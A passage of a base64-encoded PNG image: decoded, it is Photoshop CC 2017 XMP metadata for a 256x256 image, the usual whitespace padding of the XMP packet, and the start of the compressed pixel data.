MTcgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3 LTEyLTI4VDExOjE4OjI5KzA4OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlE YXRlPjIwMTctMTItMjhUMTE6MjI6MTYrMDg6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1w Ok1ldGFkYXRhRGF0ZT4yMDE3LTEyLTI4VDExOjIyOjE2KzA4OjAwPC94bXA6TWV0YWRhdGFEYXRlPgog ICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9w OkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJ RD54bXAuaWlkOjA5MjQ3MDk1LWVkMTItZjg0NS04OWU1LWQwYjg5YmFkNTMyMDwveG1wTU06SW5zdGFu Y2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+YWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjQyYTRl YzRkLWViN2UtMTFlNy04MjNjLWRkYjI5ZTNjOGY5YTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAg PHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD54bXAuZGlkOjY2MTA3MzA5LWJhZmYtMzE0ZC1iNTU3LWUw MTVlMWQyYjYzMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SGlzdG9y eT4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlw ZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNyZWF0ZWQ8L3N0RXZ0 OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0Omluc3RhbmNlSUQ+eG1wLmlpZDo2NjEwNzMw OS1iYWZmLTMxNGQtYjU1Ny1lMDE1ZTFkMmI2MzM8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAg ICAgICAgIDxzdEV2dDp3aGVuPjIwMTctMTItMjhUMTE6MTg6MjkrMDg6MDA8L3N0RXZ0OndoZW4+CiAg ICAgICAgICAgICAgICAgIDxzdEV2dDpzb2Z0d2FyZUFnZW50PkFkb2JlIFBob3Rvc2hvcCBDQyAyMDE3 IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAg ICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAg ICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxz dEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6MDkyNDcwOTUtZWQxMi1mODQ1LTg5ZTUtZDBiODliYWQ1MzIw PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEyLTI4 VDExOjIyOjE2KzA4OjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdh cmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdl bnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAg ICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06 SGlzdG9yeT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg ICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAg ICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAg ICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxl eGlmOkNvbG9yU3BhY2U+NjU1MzU8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPGV4aWY6UGl4ZWxY RGltZW5zaW9uPjI1NjwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURp bWVuc2lvbj4yNTY8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4K ICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAKPD94cGFja2V0IGVuZD0idyI/PsBGwGkAACAASURBVHic7Z15fBvVub+fcyTb ki3biZ0NspSQAGkgELakELY07FtpSdkKbelGgXLhJkS397a9XW/5VQHTDUo32lKglJ1CoSyBkEIp+xaW 